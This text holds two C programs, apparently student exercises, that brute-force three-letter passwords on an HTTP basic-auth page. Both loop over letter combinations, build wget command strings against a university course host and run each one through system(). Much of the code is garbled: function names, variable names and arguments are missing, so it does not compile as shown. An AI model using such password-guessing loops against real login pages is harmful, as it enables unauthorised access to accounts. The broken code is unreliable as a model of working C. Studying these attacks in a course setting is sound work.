#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<strings.h>
#include <ctype.h>
#include <math.h>
#include <sys/time.h>

int
()
{

	int , end;
	int             i, j, k, p;
	char            [52];
	char            tempch = 'a';
	char            password[3] = {'\0', '\0', '\0'};
	int             check, stop = 1;
	    
	float   total_time; 	
	int number; 
	 = time();	
 	

	
	for (i = 0; i < 26; i++) {
		[i] = tempch;
		tempch++;

	}
	tempch = 'A';
	for (i = 26; i < 52; i++) {
		[i] = tempch;
		tempch++;
	}

	
	if (stop == 1) {
		for (j = 0; j < 52; j++) {
			password[0] = [j];
			check = SysCall(password);
			if (check == 0) {
				getpid();
				end = time(); 
				total_time = (end-)/1e9;
				printf("\ntotal time_var = %f ", total_time);
				printf("\n\nAvg getpid() time_var = %f usec\n",total_time);
				printf("\navg time_var  %f / %d = %f\n", total_time, number,total_time/number);

				exit(0);
				stop = 0;
			}
		}
		for (j = 0; j < 52; j++) {
			password[0] = [j];
			for (k = 0; k < 52; k++) {
				password[1] = [k];
				check = SysCall(password);
				if (check == 0) {
					
					getpid();
					end = time(); 
					total_time = (end-)/1e9;
					printf("\ntotal time_var = %f ", total_time);
					printf("\n\nAvg getpid() time_var = %f usec\n",total_time);
					printf("\navg time_var  %f / %d = %f\n", total_time, number,total_time/number);

					exit(0);
					stop = 0;
				}
			}
		}


		for (j = 0; j < 52; j++) {
			password[0] = [j];
			for (k = 0; k < 52; k++) {
				password[1] = [k];
				for (p = 0; p < 52; p++) {
					password[2] = [p];
					check = SysCall(password);
					if (check == 0) {
					getpid();
					end = time(); 
					total_time = (end-)/1e9;
					printf("\ntotal time_var = %f ", total_time);
					printf("\n\nAvg getpid() time_var = %f usec\n",total_time);
					printf("\navg time_var  %f / %d = %f\n", total_time, number,total_time/number);

						stop = 0;
						exit(0);
						
					}
				}
			}
		}


	}
	

	
	return (EXIT_SUCCESS);
}
int 
SysCall(char *password)
{
	char            url1[255], url2[255], [255];
	int             rettype;
	rettype = 0;
	strcpy(url1, "wget  --non-verbose --http-user= --http-passwd=");
	strcpy(url2, " http://sec-crack.cs.rmit.edu./SEC/2/index.php");

	strcat(, url1);
	strcat(, password);
	strcat(, url2);
	
	printf("%s\t",password);
	fflush(stdout);
	rettype = system();

	if (rettype == 0) {
		printf("Successfully retrieved password: \'%s\'\n");
		return 0;
	}
	strcpy(, "");
}




#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>

char *itoa(int); 

int ()
{
  int t,t1,t2, timeinsec;    
  int nofattempts = 0;
  char url[80], url1[80], *ur1, *ur2;
  strcpy(url, "wget --http-user= --http-passwd=");     
  strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); 
  int i = 65;
  int j ;
  int k ;
  char *c1, *c2, *c3;
  char *c12, pass[4];
  int syst = 1;
  char a = 'a';
  char inside[50];
  t1 = time();  

  



  for (i = 65; i <= 122; i++)          
  {
    if (i > 90 && i < 97) continue;    

    for (j = 65; j <= 122; j++)        
    {
      if (j > 90 && j < 97) continue;  

      for (k = 65; k <= 122; k++)     
      {
          fflush(stdin);
          if (k > 90 && k < 97) continue;  

          c1 = itoa(i);  
          c2 = itoa(j);  
          c3 = itoa(k);  
          pass[0] = *c1;
          pass[1] = *c2;
          pass[2] = *c3;
    	  pass[3] = '\0';
          strcat(url, pass);  
          strcat(url, url1);  
	      ++nofattempts;  
          syst = system(url);  
          printf("%s\n",pass);
          if (syst == 0)  
          {
            t2 = time();
            t = t2 - t1; 
            timeinsec = t / 1000000000;
            printf("  Total .of attempts :-  %d", nofattempts);
            printf("\n !!! 's the password:- %s\n", pass);
            printf("\n Brute force has taken  much of time_var :-  %lld seconds\n", timeinsec);
            exit(1);
          }
	      strcpy(url, "");
    	  strcpy(url, "wget --http-user= --http-passwd=");
      }
    }
  }
  exit(0);
}

char *itoa(int a)  
{
    char *[26] = { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l",  
                     "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x",
                      "y", "z" };
    char *[26] = { "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L",
                     "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X",
                      "Y", "Z" };

  char *ret;
  if ( a >= 97 && a <= 122)   
  {
      ret =  [a-97];
      return ret;
  }
 if ( a >= 65 && a <= 90)     
  {
      ret =  [a-65];
      return ret;
  }

  return "5";
}
